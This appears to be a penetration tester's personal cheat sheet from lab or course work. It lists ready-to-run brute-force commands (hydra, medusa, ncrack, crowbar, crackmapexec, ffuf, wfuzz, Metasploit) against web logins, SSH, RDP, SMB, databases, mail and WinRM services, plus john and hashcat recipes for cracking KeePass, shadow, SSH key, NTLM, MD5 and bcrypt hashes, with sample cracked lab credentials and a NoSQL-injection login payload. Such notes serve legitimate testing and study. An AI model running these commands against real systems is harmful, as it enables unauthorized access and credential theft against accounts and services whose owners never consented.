Skip to content

Bruteforce

  • pass: /usr/share/wordlists/rockyou.txt

Basic Auth


hydra

hydra -L user.txt -P pass.txt -s 80 -f $IP -V http-get / 
medusa
medusa -h $IP -n 80 -U user.txt -P pass.txt -M  http -m DIR:/ -T 10

Form Auth


hydra

hydra $IP http-post-form "/login.php:username=^USER^&password=^PASS^:invalid" -l <USER> -P <PASS_FILE> -vV -f
ffuf
ffuf -w <PASS_FILE> -X POST -d "username=admin&password=FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -u http://<IP>/login.php -x http://127.0.0.1:8080 -fs 206
wfuzz
wfuzz -c -z file,<USER_NAMES_FILE> --sc 302 -d 'username=FUZZ&password[$ne]=NO_VALID_PASS&login=login' http://$URL

wordpress

proxychains -q hydra $IPP_INTRANET http-post-form "/wordpress/login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fintranet.relia.com%2Fwordpress%2Fwp-admin%2F&testcookie=1:incorrect" -L user.txt -P pass.txt -vV -f

phpmyadmin

hydra

export HYDRA_PROXY_HTTP=http://127.0.0.1:8080  

hydra -F -vV -l root -P /usr/share/wordlists/rockyou.txt $IP http-post-form "/phpmyadmin/index.php:pma_username=^USER^&pma_password=^PASS^&server=1&token=a6afebdd3311fac747d68adb1a8bd7ca:denied"
medusa
medusa \
  -h $IP \
  -u root \
  -P /usr/share/wordlists/rockyou.txt \
  -M web-form \
  -m FORM:"phpmyadmin/index.php" \
  -m DENY-SIGNAL:"denied" \
  -m FORM-DATA:"post?pma_username=&pma_password=&server=1&&token=i=TQRF[zI*sEkNu@"

jenkins

msfconsole

use auxiliary/scanner/http/jenkins_login
set RHOSTS internal.thm
set RPORT 8081
set USERNAME admin
set PASS_FILE /usr/share/wordlists/rockyou.txt 
set STOP_ON_SUCCESS true
run

FTP


hydra

hydra -C /usr/share/wordlists/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt $IP ftp
hydra
hydra -L user.txt -P pass.txt ftp://$IP -I
hydra
hydra -l admin -P pass.txt ftp://$IP -I

SSH


hydra

hydra -L user.txt -P pass.txt ssh://$IP -I
#hydra -l root -P pass.txt ssh://$IP -I
nmap
sudo nmap -p 22 --script ssh-brute --script-args userdb=user.txt,passdb=pass.txt $IP
medusa
medusa -U user.txt -P pass.txt -h $IP -M ssh -n 22
ncrack
ncrack -p ssh -U user.txt -P pass.txt ssh://$IP:22
#ncrack -p ssh --user msfadmin -P pass.txt $IP

SMB


crackmapexec

crackmapexec smb $IP -u user.txt -p pass.txt
hydra
hydra -L user.txt -P pass.txt $IP smb

VNC


hydra

hydra -s 5900 -P pass.txt -t 4 -V -f vnc://$IP
ncrack
ncrack -P $PASS $IP:5900
medusa
medusa -h $IP -u gamma -P pass.txt -M vnc

RDP


crowbar

crowbar -vv -b rdp -U user.txt -C pass.txt -s $IP/32
crowbar -vv -b rdp -U user.txt -C pass.txt -n 1 -s $IP/32
|->
2023-05-23 14:24:29 RDP-SUCCESS : 192.168.226.250:3389 - offsec:lab
hydra
hydra -V -f -L user.txt -P pass.txt rdp://$IP
|->
[3389][rdp] host: 192.168.226.250   login: offsec   password: lab 
ncrack
ncrack -vv -U user.txt -P pass.txt rdp://$IP
|->
FAIL, don't know why doesn't works
crackmapexec
crackmapexec rdp $IP_OFFSEC -u user.txt -p pass.txt
|->
FAIL, don't know why doesn't works

mysql


medusa

medusa -h $IP -M mysql -U user.txt -P pass.txt -t 20 -f
hydra
hydra -L user.txt -P pass.txt $IP mysql -t 20 -f -I

pop3


hydra

hydra -L user.txt -P pass.txt -f $IP -s 110 pop3 -V

IMAP


hydra

hydra -L user.txt -P pass.txt -f $IP -s 143 imap -V

IRC


nmap

nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=users.txt,passdb=pass.txt  -p 6697 $IP

postgres


hydra

hydra -l postgres -P pass.txt $IP postgres
hydra -L user.txt -P pass.txt $IP postgres
medusa
medusa -h $IP -u postgres -P pass.txt -M postgres
medusa -h $IP -U user.txt -P pass.txt -M postgres
ncrack
ncrack -v -U user.txt -P pass.txt $IP:5432
patator
patator pgsql_login host=$IP user=FILE0 0=user.txt password=FILE1 1=pass.txt
nmap
nmap -sV --script pgsql-brute --script-args userdb=user.txt,passdb=pass.txt -p 5432 $IP
metasploit
use auxiliary/scanner/postgres/postgres_login

WinRm


crackmapexec - brute force

crackmapexec winrm $IP -d $domainName -u user.txt -p pass.txt
crackmapexec - check a pair of credentials
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
crackmapexec - check if the creds are valid to access winrm
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'

SquirrelMail 1.2.10


hydra

hydra -l <USER> -P <PASS_FILE> $IP http-post-form "/webmail/src/redirect.php:username=^USER^&password=^PASS^:F=incorrect" -V -F -u

Webmin


hydra - user enumeration

USER_FILE=/usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
FAILED_MSG="Login failed. Please try again."
COOKIES="testing=1"

hydra $IP -s 10000 -t 4 http-form-post "/session_login.cgi:page=%2F&user=USER&pass=^PASS^&submit=Login:${FAILED_MSG}:H=Cookie: ${COOKIES}" -L $USER_FILE -p ".2uqPEfj3D<P'a-3" -vV -f
http - http-form-post https - https-form-post

pop3


hydra

hydra -l zelda -P pass.txt -f $IP pop3 -V
hydra -S -v -l zelda -P pass.txt -s 995 -f $IP pop3 -V

Crack kdbx


john

keepass2john Database.kdbx > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
kpcli --kdb Database.kdbx

Crack shadow


john

unshadow passwd shadow > passwd_shadow.txt
john passwd_shadow.txt --wordlist=/usr/share/wordlists/rockyou.txt
if hash start with $y$
john --format=crypt passwd_shadow.txt  --wordlist=/usr/share/wordlists/rockyou.txt
hashcat
hashcat -m 1800 passwd_shadow.txt /usr/share/wordlists/rockyou.txt -O

Crack id_rsa


john

ssh2john id_rsa > id_rsa-hash
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa-hash

Crack NTLMv2 hash

hashcat

# hashcat --help | grep NTLM
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

Crack NTLM hash


hashcat

# hashcat --help | grep NTLM
hashcat -m 1000 --force 26112010952d963c8dc4217daec986d9 /usr/share/wordlists/rockyou.txt

Create password list


cewl

cewl -w pass.lst http://wordpress.hack -d 1
cat pass.lst | uniq | sort | tr '[:upper:]' '[:lower:]' > pass2.lst
curl/grep/sort/awk
curl http://$URL | grep -oE '\w+' | sort -u -f > wordlist.lst
awk 'length($0) > 3 ' wordlist.lst > wordlist_gt3.lst

Crack md5 hash


hashcat - dictionary attack

hashcat -a 0 -m 0 hash.txt /usr/share/wordlists/rockyou.txt

hashcat - brute-force attack (max 5 digits)

hashcat -m 0 -a 3 -i 81dc9bdb52d04dc20036dbd8313ed055 ?d?d?d?d?d
hashcat -m 0 -a 3 -i hash.txt ?d?d?d?d?d

john - dictionary attack

john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hash.txt

Crack SHA-1 hash


hashcat

hashcat -a 0 -m 100 hash.txt /usr/share/wordlists/rockyou.txt

Crack SHA-512 hash


hashcat - brute-force attack (max 5 digits)

hashcat -m 1700 -a 3 -i hash.txt ?d?d?d?d?d

Crack bcrypt hash


hashcat

echo '$2a$08$zyiNvVoP/UuSMgO2rKDtLuox.vYj.3hZPVYq3i4oG3/CtgET7CjjS' > hash.txt
hashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
|->
$2a$08$zyiNvVoP/UuSMgO2rKDtLuox.vYj.3hZPVYq3i4oG3/CtgET7CjjS:doraemon